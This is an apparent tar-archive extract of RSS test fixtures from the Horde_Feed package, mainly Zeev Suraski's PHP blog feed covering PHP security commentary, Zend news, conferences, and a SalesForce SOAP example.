nvoxland@users.sourceforge.net (Nathan Voxland) http://rss.sourceforge.net/~r/sourceforge/export/rss2_sfnews/~3/3g1d3y_EYeA/forum.php http://sourceforge.net/forum/forum.php?forum_id=867944 Thu, 18 Sep 2008 18:41:20 GMT http://sourceforge.net/forum/forum.php?forum_id=867944 http://sourceforge.net/forum/forum.php?forum_id=867944 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-static.userland.com-tomalak-links2.xml0000664000175000017500000000156612653701626030227 0ustar janjan Tomalak's Realm http://www.tomalak.org/ Daily links to strategic Web design news from Lawrence Lee Tue, 27 Sep 2005 04:00:51 GMT http://backend.userland.com/rss tomalak@tomalak.org (Lawrence Lee) tomalak@tomalak.org (Lawrence Lee) Useit.Com: <a href="http://www.useit.com/alertbox/defaults.html">The Power of Defaults</a>. Users rely on defaults in many other areas of user interface design. For example, they rarely utilize fancy customization features, making it important to optimize the default user experience, since that's what most users stick to. ././@LongLink000 145 0003736 LHorde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-suraski.net-blog-index.php%2F-feeds-index.rss2Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-suraski.net-blog-index.php%2F-feeds-index.rss0000664000175000017500000013760412653701626031243 0ustar janjan Zeev Suraski http://suraski.net/blog/ Random thoughts en Serendipity 1.3.1 - http://www.s9y.org/ http://suraski.net/blog/templates/default/img/s9y_banner_small.png RSS: Zeev Suraski - Random thoughts http://suraski.net/blog/ 100 21 Photo Contest (not quite PHP related) http://suraski.net/blog/index.php?/archives/18-Photo-Contest-not-quite-PHP-related.html PHP http://suraski.net/blog/index.php?/archives/18-Photo-Contest-not-quite-PHP-related.html#comments http://suraski.net/blog/wfwcomment.php?cid=18 6 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=18 zeev@zend.com (Zeev Suraski) Two of my photos are finalists in a local (Israeli) pets+owners photo contest.<br /> You can find them at <a href="http://tinyurl.com/2oodug">http://tinyurl.com/2oodug</a><br /> While it's in Hebrew, the photos are pretty universal so you can still appreciate them.<br /> If you feel like voting for one of mine - one is on the fourth row on the left column (Anya &amp; white dog), and the other is on the last row in the right column (me + kitten). One vote per person (or at least per browser <img src="http://suraski.net/blog/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" />). Click on the arrow icon on the bottom left once you've made your choice. The pets thank you <img src="http://suraski.net/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Mon, 17 Dec 2007 22:52:32 -0500 http://suraski.net/blog/index.php?/archives/18-guid.html PHP Security http://suraski.net/blog/index.php?/archives/17-PHP-Security.html http://suraski.net/blog/index.php?/archives/17-PHP-Security.html#comments http://suraski.net/blog/wfwcomment.php?cid=17 5 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=17 zeev@zend.com (Zeev Suraski) I've just been <a href="http://it.slashdot.org/it/06/12/14/0410240.shtml">misquoted on Slashdot</a>, as if I said there are no security problems in PHP itself, and that I instead point my finger only at inexperienced developers.<br /> <br /> If you read the original article on <a href="http://www.heise-security.co.uk/news/82500">Heise Security</a>, you'll see that I have not said anything of the sort. While I hope Slashdot fixes this story, I thought I'd make my stand on this clearer. I believe this is the belief of most others on the security team, but I'm only speaking on behalf of myself and do not represent them.<br /> <br /> 1. Fact is most security problems that are published that have to do with PHP, have to do with problems at the user level, i.e., bugs in the application written in PHP. There's no point arguing about this one, it can be proven by simply looking at the number of published advisories that had to do with PHP itself, vs. the number of advisories that had to do with applications written in PHP.<br /> <br /> 2. There are many reasons for the fact there's a large number of security problems in PHP Web apps. First and foremost, it's the fact PHP is by far the most popular platform for building Web apps, and I believe it's also the language with the largest number of opensource ready-to-use Web apps out there. If PHP accounts for, say, 50% of the opensource Web apps deployed on the net (a reasonably conservative assumption), half of the problems in Web apps would have been in PHP apps just from a statistical point of view. Also remember that it's much easier to create a Web app that's exploitable than a desktop/backend app that's exploitable, if only for the fact that Web apps are (almost) by definition remotely accessible, turning even minor glitches to problems with real security implications.<br /> <br /> 3. Another reason for certain classes of security problems in PHP can be blamed on the language itself. Two such examples are register_globals (handled in PHP 4.2 several years ago) and the default support for URL include()'s (fixed as of PHP 5.2 a couple of months ago). These are not strictly language bugs, but instead, features (or misfeatures) that make it all too easy for novice developers (and sometimes even advanced ones not paying attention) to fall into security pitfalls. While not a language problem from a strict "computer science" point of view, I think everyone on the PHP dev team perceives those as problems that need to be addressed, and contrary to the misquote on slashdot, nobody, or at least not me, is pointing the finger at inexperienced developers. It's their fault, but our responsibility, if you will.<br /> Yes, we could have handled the remote URL inclusion faster, but saying we don't care about such issues is just false.<br /> <br /> 4. And now for the scoop. YES, there ARE security problems in PHP. PHP itself, as in the code in C that implements the language. If you didn't get a stroke from reading this scoop and you're still with me, I'd like to point out that I can hardly think of any other project in such a scope and of a similar nature that doesn't have security problems in it, at the same rate (give or take) as PHP. I've never said anything to the contrary in the past, and I don't expect to ever say something else in the future. I do mention, whenever I'm asked about PHP's security, that most of the problems happen at the user level - but it doesn't mean that PHP doesn't have security bugs in it as well.<br /> <br /> 5. I believe we've had an excellent track record at fixing remotely exploitable problems and coming out with fixes immediately, and there haven't been that many of them either.<br /> <br /> Stefan's talk about being considered "persona non grata" because he 'had the guts to stand against us' is completely false, too. I'm not going to get into the details of what brought Stefan to call it quits, but suffice to say that it had nothing to do with the published reason, and more to the interaction between Stefan and other members of the security team, and the dev team in general.<br /> <br /> Finally, I'd like to take the opportunity, again, and ask Stefan to come to come back to security@ team, and work with the project and not against it. As any project that has hundreds of people contributing to it, you never find yourself in agreement with everyone at any given time; It doesn't mean that those who don't think exactly like you are your 'enemies', and it certainly doesn't mean you should quit and turn to the 'other side'.<br /> <br /> Zeev<br /> Thu, 14 Dec 2006 16:31:14 -0500 http://suraski.net/blog/index.php?/archives/17-guid.html hebrev() and friends http://suraski.net/blog/index.php?/archives/16-hebrev-and-friends.html http://suraski.net/blog/index.php?/archives/16-hebrev-and-friends.html#comments http://suraski.net/blog/wfwcomment.php?cid=16 4 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=16 zeev@zend.com (Zeev Suraski) Recently Andrei approached me and asked what I think should be done with hebrev() and hebrevc() in the context of the Unicode-enabled PHP 6. For those of you who don't know, hebrev() (which stands for Hebrew Reverse) and hebrevc() (which stands for Hebrew Reverse &amp; Convert) are remnants from the early days of the Web - where browsers could not handle Right-to-Left langauges properly. For those of you who don't know what Right-to-Left languages are, they're simply enough languages that are written from right to left, such as Hebrew and Arabic.<br /> <br /> In those dark ages - if you wanted your text to render properly on a browser that's completely ignorant of the fact your text should be going from right to left - in addition to right alignment, you also had to write your text in reverse. Kind of like, in order to type "Hello World", you had to type "dlroW olleH" (or rather, instead of "&#1513;&#1500;&#1493;&#1501; &#1506;&#1493;&#1500;&#1501;" one had to type "&#1501;&#1500;&#1493;&#1506; &#1501;&#1493;&#1500;&#1513;"). This concept was named "Visual displaying", or in short just plain "Visual". Since most other systems (other than browsers) were generally saving their data in the correct first-char-comes-first order (simply enough called "Logical"), and since input coming from users using browsers also came in the correct 'logical' order, there was a gap between the data Web apps were working with, and the data they had to display. hebrev() and hebrevc() were created to bridge that gap, and reverse Visual hebrew into Logical and vice versa. Doing that is probably much more complicated than you think as you have to make sure not to reverse numbers or non-Hebrew text, break lines properly if wrapping was requested, etc.<br /> <br /> As time passed by - more and more browsers got the ability to handle Logical text, and automatically display it properly and render it from right to left. My belief is that most of the R2L web today is already using Logical - which brings me back to Andrei's query, where I'd like to ask your feedback.<br /> <br /> Do you think we need to update hebrev() to support Unicode, or should we just let it rest in peace? Should we may be expose the more powerful ICU bidirectional conversion API under new names for those who wish to still reverse Unicode text from Visual to Logical and vice versa? I realize this is probably not very interesting to most of the crowd here, but those of you that do have an opinion - your feedback is welcome!<br /> Mon, 11 Dec 2006 10:47:02 -0500 http://suraski.net/blog/index.php?/archives/16-guid.html Stefan Esser quits security@php.net http://suraski.net/blog/index.php?/archives/15-Stefan-Esser-quits-securityphp.net.html PHP http://suraski.net/blog/index.php?/archives/15-Stefan-Esser-quits-securityphp.net.html#comments http://suraski.net/blog/wfwcomment.php?cid=15 6 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=15 zeev@zend.com (Zeev Suraski) Yesterday, I had a heated debate with Stefan Esser, one of the most active people (if not the most active person) in the field of PHP security. I told him that I, as well as a lot of other contributors to the PHP project, are at odds with the way he's behaving; While at the same time appreciating the highly skilled job he's doing for PHP.<br /> <br /> Unfortunately, Stefan decided to call it quits and from a blog post on his web site, it appears he'll now attempt to become even more aggressive, do his best to ignore the best interests of PHP by disclosing unpatched holes, and in general trying to expose as many security holes in PHP. That was not my intention when I truthfully told him what I (and many more) feel about the style of his involvement.<br /> <br /> Since Stefan is obviously not listening to me, I think it may help if people who feel his behavior is inappropriate go to his blog and submit their thoughts, or send him emails. Do that in a responsible and appropriate language, though. Maybe if he sees it's not just me he'll reconsider.<br /> <br /> <br /> Sat, 09 Dec 2006 11:54:34 -0500 http://suraski.net/blog/index.php?/archives/15-guid.html Zend wins IVA and Red Herring's Best Software Startup award http://suraski.net/blog/index.php?/archives/14-Zend-wins-IVA-and-Red-Herrings-Best-Software-Startup-award.html http://suraski.net/blog/index.php?/archives/14-Zend-wins-IVA-and-Red-Herrings-Best-Software-Startup-award.html#comments http://suraski.net/blog/wfwcomment.php?cid=14 3 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=14 zeev@zend.com (Zeev Suraski) <a href='http://suraski.net/gallery/IVA2006'><img width='73' height='110' border='0' hspace='5' align='right' src='http://suraski.net/blog/uploads/IMG_2942.thumb.serendipityThumb.jpg' alt='' /></a><br /> <br /> Yesterday, Zend won Israel Venture Association (IVA) and Red Herring's Best Software Startup award for the year 2006. Those of you who know the Israeli hitech landscape can understand what an amazing feat this is; For those who don't, Zend (and two other startups in other hitech areas) won out of a list of 400 nominees, which in turn are only a small fraction of the startups in the country. Israel has the highest concentration of startups in the world, second only to the Silicon Valley. So, the fact Zend won is pretty amazing and a great honor for all of the team.<br /> <br /> I believe that PHP, the opensource movement and its ability to create a 1st class contender in the Web development space played a major role in the judges' decision, so I also see this as a win for the entire PHP community. We've definitely all come a long way...<br /> <br /> Great job, Zenders and PHPers!<br /> <br /> Links:<br /> <a href='http://redherring.com/Article.aspx?a=17308&hed=VCs+Name+Hot+Israeli+Startups'>Red Herring</a><br /> <a href='http://www.ynet.co.il/articles/0,7340,L-3265305,00.html'>Ynet</a> (Hebrew)<br /> <a href='http://suraski.net/gallery/IVA2006'>Some pictures</a> Wed, 21 Jun 2006 13:34:57 -0400 http://suraski.net/blog/index.php?/archives/14-guid.html Government-Organized PHP Seminar in France http://suraski.net/blog/index.php?/archives/13-Government-Organized-PHP-Seminar-in-France.html http://suraski.net/blog/index.php?/archives/13-Government-Organized-PHP-Seminar-in-France.html#comments http://suraski.net/blog/wfwcomment.php?cid=13 3 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=13 zeev@zend.com (Zeev Suraski) <a href='http://suraski.net/gallery/FranceSeminarDGME2006/IMG_1326'><img width='110' height='83' border='0' hspace='5' align='right' src='http://suraski.net/blog/uploads/IMG_1326.thumb.serendipityThumb.jpg' alt='' /></a><br /> <br /> Yesterday in Paris, I spoke in a one day seminar about PHP, that was organized by DGME, a French governmental agency. It was held in a conference room in one of the Minefi (Ministry of Finance) buildings, no less. Most of the attendees were coming from various governmental agencies and ministries, to learn more about PHP success stories and best practices. Presenters came from Oracle, alapage.com, DGME, Zend and others.<br /> <br /> <br /> <a href="http://www.adele.gouv.fr/synergies/article.php3?id_article=45">The seminar</a> was the first seminar of its kind in France, and to the best of my knowledge - it was the first one of its kind around the world as well. Personally, I found it quite amazing - although I guess we'll have to start getting used to PHP being regularly adopted by an ever-growing number of entities, for which it used to be completely off-limits until not too long ago. At long last, the perception about PHP is finally showing some true signs of changing, and finally synchronizing with reality; People and organizations perceiving PHP for what it is - the best Web development platform out there.<br /> <br /> I believe this is just the beginning - and we'll see more events like this in France and elsewhere, and more and more people attending them. Tue, 20 Jun 2006 16:44:58 -0400 http://suraski.net/blog/index.php?/archives/13-guid.html Guy Harpaz opens a new blog! http://suraski.net/blog/index.php?/archives/12-Guy-Harpaz-opens-a-new-blog!.html http://suraski.net/blog/index.php?/archives/12-Guy-Harpaz-opens-a-new-blog!.html#comments http://suraski.net/blog/wfwcomment.php?cid=12 1 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=12 zeev@zend.com (Zeev Suraski) Guy Harpaz, the product manager for Zend Studio (and its former development team leader), has opened a new <a href="http://guyharpaz.blogspot.com">blog</a>. His likely topics for blogging would revolve around the Eclipse PHP IDE project, and upcoming versions of Studio, so it should be quite interesting.<br /> <br /> <a href="http://guyharpaz.blogspot.com">Check it out!</a> Thu, 11 May 2006 10:48:13 -0400 http://suraski.net/blog/index.php?/archives/12-guid.html Zend Studio 5.0 Beta available! http://suraski.net/blog/index.php?/archives/10-Zend-Studio-5.0-Beta-available!.html PHP http://suraski.net/blog/index.php?/archives/10-Zend-Studio-5.0-Beta-available!.html#comments http://suraski.net/blog/wfwcomment.php?cid=10 7 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=10 zeev@zend.com (Zeev Suraski) It's been a while since I personally contributed code to this project, but a bunch of my most-wanted features are now in there, most notably multilevel code completion and native web services support.<br /> <br /> Multilevel code completion means that almost always you'd get code completion for objects, even if they're return values from functions (as long as you phpdocument them!) or a 10th level indirection, $foo->bar->baz->.... As a code-completion addict, that's great news.<br /> <br /> Native web services support means I no longer have to start writing web services by taking an existing WSDL file (a.k.a. scrolls of magic) and change it, but can instead use the WSDL generator now built into the system. Not to mention the code completion for SoapClient objects (did I mention I'm a code completion addict?)<br /> <br /> The beta is available for free download on <a href="http://www.zend.com/store/products/zend-studio/beta.php?bz=712">zend.com</a>. Free T-shirts will be given to the most valuable reporters so start smashing it today <img src="http://suraski.net/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br /> Mon, 12 Sep 2005 15:41:24 -0400 http://suraski.net/blog/index.php?/archives/10-guid.html Following up... http://suraski.net/blog/index.php?/archives/9-Following-up....html PHP http://suraski.net/blog/index.php?/archives/9-Following-up....html#comments http://suraski.net/blog/wfwcomment.php?cid=9 11 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=9 zeev@zend.com (Zeev Suraski) Can anybody spot the new sponsor <a href="http://zend.kbconferences.com/">here</a>? You have to admit it wouldn't be the first on your guess list. Thu, 08 Sep 2005 17:58:32 -0400 http://suraski.net/blog/index.php?/archives/9-guid.html Selling PHP to your boss? A piece of cake. http://suraski.net/blog/index.php?/archives/8-Selling-PHP-to-your-boss-A-piece-of-cake..html PHP http://suraski.net/blog/index.php?/archives/8-Selling-PHP-to-your-boss-A-piece-of-cake..html#comments http://suraski.net/blog/wfwcomment.php?cid=8 0 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=8 zeev@zend.com (Zeev Suraski) I'm not sure how many of you have been to the <a href="http://zend.kbconferences.com/">Z/PC&E2005 (*)</a> as of late, but it's definitely an interesting visit. While it's not the first PHP conference to feature some pretty impressive sponsors, I think it would be fair to say that it's the first PHP event that is backed by the leading technology companies in the world today. Including some you'd never suspect would be interested (will update tomorrow, stay tuned).<br /> <br /> Needless to say, that reflects greatly on PHP.<br /> <br /> It's no secret PHP was (and to a large degree still is) a grassroots phenomenon. Most of the companies using PHP today chose to use it based on a developer's decision, as opposed to a management (CIO/CTO) decision. However, in many companies, especially the larger ones - PHP's penetration ended as soon as the developer(s) tried to sell the concept of using opensource in general, and PHP in particular to their boss, and sometimes to their customers.<br /> <br /> "How do I sell PHP to my boss?" was one of the key questions that I had to deal with personally in the past. As a proliferator of PHP, this was one of the key challenges Zend faced as well. It has also been the topic of numerous presentations in various PHP conferences. The answer that was always given was based purely on technological merit - it was clear that nothing we (community, Zend, or both) can do can match the mammoth marketing power that was pushing the commercial or even free (Java based) alternatives. Years and years of relentless work to change the world's perception have finally paid off. Today, the same powers are now beginning to push PHP itself, especially into places where it stood no chance to penetrate in the past. And it's not just marketing either - the <a href="http://andigutmans.blogspot.com/2005/09/php-oci8-driver-updated.html">OCI8 extension</a> and the <a href="http://www.zend.com/pecl/tutorials/sdo.php">new SDO extension</a> are just two initial examples of how this involvement is going to translate into additional 'tangible' benefits for the PHP community.<br /> <br /> 2005 definitely signifies a turning point in the history of PHP. From an underdog that is technologically superior but lacks industry backing, to an overdog(**) - still technologically superior, but an accepted industry standard as well.<br /> <br /> I'll see you all at the conference!<br /> <br /> ---<br /> <br /> (*) Zend PHP Conference &amp; Expo 2005<br /> (**) Improvements to this word welcome! <img src="http://suraski.net/blog/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /> Wed, 07 Sep 2005 23:09:52 -0400 http://suraski.net/blog/index.php?/archives/8-guid.html PHP and Oracle http://suraski.net/blog/index.php?/archives/7-PHP-and-Oracle.html PHP http://suraski.net/blog/index.php?/archives/7-PHP-and-Oracle.html#comments http://suraski.net/blog/wfwcomment.php?cid=7 6 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=7 zeev@zend.com (Zeev Suraski) As some people may have noticed, <a href="http://www.zend.com/core/oracle/">Zend Core for Oracle</a> went into a public beta stage a couple of days ago. This free product is excellent news for anybody using PHP and Oracle together, since the OCI8 extension was vastly improved to bring it on par with (and sometimes better than) other database extensions, both in terms of stability and performance.<br /> <br /> It's actually good news even for people who won't be using Zend Core - since like with any other fixes made to PHP in the course of the work on Core (and in general), these will be committed to the PHP CVS as soon as they're tested (probably a couple of days' time). Wed, 31 Aug 2005 08:10:05 -0400 http://suraski.net/blog/index.php?/archives/7-guid.html Scotch is gone http://suraski.net/blog/index.php?/archives/6-Scotch-is-gone.html Life http://suraski.net/blog/index.php?/archives/6-Scotch-is-gone.html#comments http://suraski.net/blog/wfwcomment.php?cid=6 6 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=6 zeev@zend.com (Zeev Suraski) My beloved dog, which was adopted by my parents when I went to the army, has passed away yesterday, when I was on my way to the US. She died of cancer at the age of 13.5. It's amazingly sad that those magnificent creatures live so little. This makes you wonder how just one thing is certain in life. Sad, sad entry for the Life category.<br /> <br /> From the PHP angle, in a way, Scotch affected a bunch of parts in PHP - since she was the only one I could consult with when I developed certain parts of the language, in the middle of the night many years ago... She was definitely a PHP dog.<br /> <br /> May you rest in peace, Scottie!<br /> <br /> <a href="http://suraski.net/gallery/Scotch">Picture Gallery<img src="http://suraski.net/albums/Bath/104_0445_IMG.thumb.jpg" alt="Scotch" align="right" /></a><br /> Tue, 30 Aug 2005 08:00:20 -0400 http://suraski.net/blog/index.php?/archives/6-guid.html PHP 5's SOAP extension and SalesForce http://suraski.net/blog/index.php?/archives/5-PHP-5s-SOAP-extension-and-SalesForce.html http://suraski.net/blog/index.php?/archives/5-PHP-5s-SOAP-extension-and-SalesForce.html#comments http://suraski.net/blog/wfwcomment.php?cid=5 28 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=5 zeev@zend.com (Zeev Suraski) In the last few days I've been working on a piece of code in PHP that had to integrate with SalesForce. During the course of this work I bumped into some minor annoyances (or rather, a minor annoyance) with ext/soap, which I was able to quickly fix thanks to Dmitry's excellently structured code. For those who are interested, you can now set custom SOAP headers using SoapClient::__setSoapHeaders(). This will cause SoapClient to send the headers on every subsequent access to a web service, conducted through the relevant SoapClient object. While you could specify custom SOAP headers before - it required overloading __call() and doing this work in userland, and now it's no longer necessary.<br /> <br /> On a slightly related note, I wanted to take this opportunity to ask how many of you have actually used ext/soap, and what's your feedback about it. Is it working well? Is there anything missing? As in the past, success stories are also interesting, they're equally interesting to "it's broken!" responses.<br /> <br /> As a special bonus, for those of you who integrate with SalesForce, and are still using the old SOAP APIs (or God forbid, are using a language other than PHP to do it), here's a code snippet that demos how to connect to SalesForce. Note that because it uses the new SoapClient::__setSoapHeaders(), you'd need a fairly recent snapshot/CVS in order for that to work.<br /> <br /> ---<br /> <div class="bb-php-title">PHP:</div><div class="bb-php"><code><span style="color: #000000"><br /> <span style="color: #0000BB">&lt;?php<br /> </span><span style="color: #FF8000">//&#160;Connect<br /> </span><span style="color: #0000BB">$sforce&#160;</span><span style="color: #007700">=&#160;new&#160;</span><span style="color: #0000BB">SoapClient</span><span style="color: #007700">(</span><span style="color: #DD0000">"sforce.wsdl"</span><span style="color: #007700">);&#160;&#160;</span><span style="color: #FF8000">//&#160;obtain&#160;your&#160;own&#160;customized&#160;sforce.wsdl&#160;from&#160;sforce.com<br /> </span><span style="color: #0000BB">$loginResult&#160;</span><span style="color: #007700">=&#160;</span><span style="color: #0000BB">$sforce</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">login</span><span style="color: #007700">(array(</span><span style="color: #DD0000">"username"&#160;</span><span style="color: #007700">=&gt;&#160;</span><span style="color: #DD0000">"joe@doe.com"</span><span style="color: #007700">,&#160;</span><span style="color: #DD0000">"password"&#160;</span><span style="color: #007700">=&gt;&#160;</span><span style="color: #DD0000">"xyz"</span><span style="color: #007700">));<br /> </span><span style="color: #0000BB">$loginResult</span><span style="color: #007700">=&#160;</span><span style="color: #0000BB">$loginResult</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br /> <br /> </span><span style="color: #FF8000">//&#160;Set&#160;connection&#160;data<br /> </span><span style="color: #0000BB">$sforce</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">__setLocation</span><span style="color: #007700">(</span><span style="color: #0000BB">$loginResult</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">serverUrl</span><span style="color: #007700">);<br /> </span><span style="color: #0000BB">$sforce_header&#160;</span><span style="color: #007700">=&#160;new&#160;</span><span style="color: #0000BB">SoapHeader</span><span style="color: #007700">(</span><span style="color: #DD0000">'urn:enterprise.soap.sforce.com'</span><span style="color: #007700">,&#160;</span><span style="color: #DD0000">'SessionHeader'</span><span style="color: #007700">,&#160;array(</span><span style="color: #DD0000">'sessionId'&#160;</span><span style="color: #007700">=&gt;&#160;</span><span style="color: #0000BB">$loginResult</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">sessionId</span><span style="color: #007700">));<br /> </span><span style="color: #0000BB">$sforce</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">__setSoapHeaders</span><span style="color: #007700">(array(</span><span style="color: #0000BB">$sforce_header</span><span style="color: #007700">));<br /> <br /> </span><span style="color: #FF8000">//&#160;Query&#160;SalesForce&#160;for&#160;Leads&#160;whose&#160;first&#160;name&#160;is&#160;Bill<br /> </span><span style="color: #007700">try&#160;{<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">$result&#160;</span><span style="color: #007700">=&#160;</span><span style="color: #0000BB">$sforce</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(array(</span><span style="color: #DD0000">"queryString"&#160;</span><span style="color: #007700">=&gt;&#160;</span><span style="color: #DD0000">"select&#160;Id,&#160;FirstName,&#160;LastName&#160;from&#160;Lead&#160;where&#160;Lead.FirstName='Bill'"</span><span style="color: #007700">));<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$result</span><span style="color: #007700">);<br /> }&#160;catch&#160;(</span><span style="color: #0000BB">Exception&#160;$e</span><span style="color: #007700">)&#160;{<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$e</span><span style="color: #007700">);<br /> }<br /> <br /> </span><span style="color: #FF8000">//&#160;Change&#160;a&#160;lead<br /> </span><span style="color: #007700">try&#160;{<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">$lead</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">LastName&#160;</span><span style="color: #007700">=&#160;</span><span style="color: #DD0000">"Gates"</span><span style="color: #007700">;<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">$lead</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">Id&#160;</span><span style="color: #007700">=&#160;</span><span style="color: #DD0000">"..."</span><span style="color: #007700">;&#160;&#160;</span><span style="color: #FF8000">//&#160;needs&#160;to&#160;be&#160;a&#160;valid&#160;id<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">$arg</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">sObjects&#160;</span><span style="color: #007700">=&#160;new&#160;</span><span style="color: #0000BB">SoapVar</span><span style="color: #007700">(</span><span style="color: #0000BB">$lead</span><span style="color: #007700">,&#160;</span><span style="color: #0000BB">SOAP_ENC_OBJECT</span><span style="color: #007700">,&#160;</span><span style="color: #DD0000">"Lead"</span><span style="color: #007700">,&#160;</span><span style="color: #DD0000">"http://soapinterop.org/xsd"</span><span style="color: #007700">);<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$sforce</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">update</span><span style="color: #007700">(</span><span style="color: #0000BB">$arg</span><span style="color: #007700">));<br /> &#160;&#160;&#160;&#160;print&#160;</span><span style="color: #DD0000">"SUCCESS!"</span><span style="color: #007700">;<br /> }&#160;catch&#160;(</span><span style="color: #0000BB">Exception&#160;$e</span><span style="color: #007700">)&#160;{<br /> &#160;&#160;&#160;&#160;</span><span style="color: #0000BB">print_r</span><span style="color: #007700">(</span><span style="color: #0000BB">$e</span><span style="color: #007700">);<br /> }<br /> <br /> </span><span style="color: #0000BB">?&gt;</span><br /> </span><br /> </code></div><br /> ---<br /> <br /> During the course of writing this blog I came across a blog post from <a href="http://www.schlossnagle.org/~george/blog/index.php?/archives/235-Salesforce.com-and-PHP.html">George Schlossnagle</a> which may also be interesting. Even though I didn't bump into the same issue, it may be that I just didn't get far enough - so you may still need the workaround in there.<br /> <br /> Wed, 17 Aug 2005 17:29:05 -0400 http://suraski.net/blog/index.php?/archives/5-guid.html PHP History Gem found! http://suraski.net/blog/index.php?/archives/4-PHP-History-Gem-found!.html PHP http://suraski.net/blog/index.php?/archives/4-PHP-History-Gem-found!.html#comments http://suraski.net/blog/wfwcomment.php?cid=4 7 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=4 zeev@zend.com (Zeev Suraski) While deleting old files to save some space on my homedir, I stumbled upon a PHP history gem - David Axmark's photos of what was the first PHP conference ever - the <a href="http://suraski.net/gallery/PDM2000">PHP Developers' Meeting</a>, or PDM, held in Tel Aviv, Israel, January 2000. That's more than 5 years ago, the days where men were men, <a href="http://www.dpreview.com/news/9904/99042602olyimagingresource.asp">2 megapixel digicams</a> were cutting edge, and the entire PHP development team (almost) could easily fit in a fairly small room.<br /> <br /> In addition to the <a href="http://suraski.net/gallery/PDM2000Conference">conference pics themselves</a>, the galleries also include photos of the trip we took to <a href="http://suraski.net/gallery/PDM2000Jerusalem">Jerusalem</a> as well as some random pictures of <a href="http://suraski.net/gallery/PDM2000DavidMontyTA">Tel Aviv</a>.<br /> <br /> <a href="http://suraski.net/gallery/PDM2000">Enjoy!</a> Fri, 06 May 2005 19:57:29 -0400 http://suraski.net/blog/index.php?/archives/4-guid.html New Zend Studio plugins released http://suraski.net/blog/index.php?/archives/2-New-Zend-Studio-plugins-released.html PHP http://suraski.net/blog/index.php?/archives/2-New-Zend-Studio-plugins-released.html#comments http://suraski.net/blog/wfwcomment.php?cid=2 3 http://suraski.net/blog/rss.php?version=2.0&type=comments&cid=2 zeev@zend.com (Zeev Suraski) Two <a href="http://www.zend.com/store/products/zend-studio/plug-ins.php">new plugins</a> were officially released today by Zend.<br /> <br /> First, a plugin that allows integration of PHP code snippets from zend.com's code gallery, directly into Adobe GoLive. That replicates a feature that's built into Zend Studio 4.0, and makes it available (for free) in Adobe's HTML WYSIWIG editor, quite a nice addition for advanced PHP-aware designers.<br /> <br /> And more interestingly from my point of view - a <a href="http://suraski.net/blog_pics/firefox_plugin.jpg">FireFox plugin that provides full Zend Studio integration with the browser</a> (actually, the plugin is also available separately for Mozilla, so I guess you can count them as three).<br /> <br /> The idea of integrating PHP debugging and profiling capabilities directly into the browser was introduced in Zend Studio 3.0, in the form of the Internet Explorer toolbar. Even though I'm far from being objective about the brilliance of this toolbar (...), it was very pleasing to see the tremendous feedback that it generated. Finally, it was possible to debug even the most annoying forms and most complicated pages, at a simple click of a button.<br /> <br /> Internally at Zend, where a lot (not to say most) of the developers use Linux, it actually generated some angry "grr, when will it support Mozilla?#!$" feedback, which I silently ignored. Back then, I had very little faith in Mozilla, and I have to admit I dismissed it as a noble effort that will never actually be fruitful. Nonetheless, I wrote a simple XUL version of the toolbar that was used internally for quite some time.<br /> <br /> Times have changed. Firefox has become the browser of choice for many users, including myself, and for the first time in years, a challenger is posing some serious competition to the IE monopoly. It was clearly time to take the Firefox userbase more seriously. A recent <a href="http://pixelated-dreams.com/archives/116-Debugging-using-Zend-Server-from-Firefox.html">blog post by Davey Shafik</a> made the need for a good Firefox plugin bluntly clear. Thankfully, by now we already had a rewritten plugin for Firefox, that arguably has more functionality than its IE cousin. Today it was finally officially <a href="http://www.zend.com/store/products/zend-studio/plug-ins.php">released to the public</a>.<br /> <br /> One final interesting note about these plugins - they're all written as scripts. Is the end of compiled languages for daily use nearing? Thu, 07 Apr 2005 03:51:42 -0400 http://suraski.net/blog/index.php?/archives/2-guid.html Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-trainedmonkey.com-news-rss.php%2Fs=310000664000175000017500000000452112653701626027570 0ustar janjan http://trainedmonkey.com/ 